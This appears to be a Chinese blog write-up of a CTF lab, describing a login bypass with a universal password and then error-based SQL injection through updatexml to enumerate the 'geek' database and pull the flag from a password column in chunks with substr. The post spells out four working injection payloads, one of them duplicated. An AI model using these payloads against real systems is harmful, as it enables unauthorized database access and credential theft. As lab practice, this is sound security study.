一直想找 CTF 靶场练练手 (技术),今天在终于在网上找到一个靶场,在此将自己的过程记录下来,以便自己之后遇到类似问题时有地方找寻答案。
-
进入靶场后,直接一个登录框,哎,有点意思,可能会有注入,但没有账号密码,先弱口令试试。
2. 直接 admin 上去,提示了红色显眼的大字,错误的用户名、密码,此时又想到能不能万能密码进去?
3. 哎?进去了?还真巧。
4. 既然都进来了,总的试试能不能注入吧,一波操作后判断出有 3 个字段但是不能用 union 联合查询,因为并没有出现显示位。
5. 看来只能找其他方法了,于是又想到了用 updatexml 报错查询。先查数据库,然后查表、查列、查数据。
这里之所以不查 geekuser 表是因为最开始已经获得了密码,这个表很明显存储的是账号密码。
由于此处的数据不能全部显示出来,所以只能采用 substr 来进行分割,一部分一部分取出。
updatexml 用的 payload:
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23 |
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)%23 |
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)%23 |
admin' and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),32,64),0x7e),1)%23 |
终于从 224 开始时出现了 flag 字样,救星啊!!!
为了防止字符丢失,从 250 处从新开始截取。
以免丢失,多截取一点进行比对
最终获得 flag
整体过程相对来说比较顺利,遇到的问题经过查询笔记已解决。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论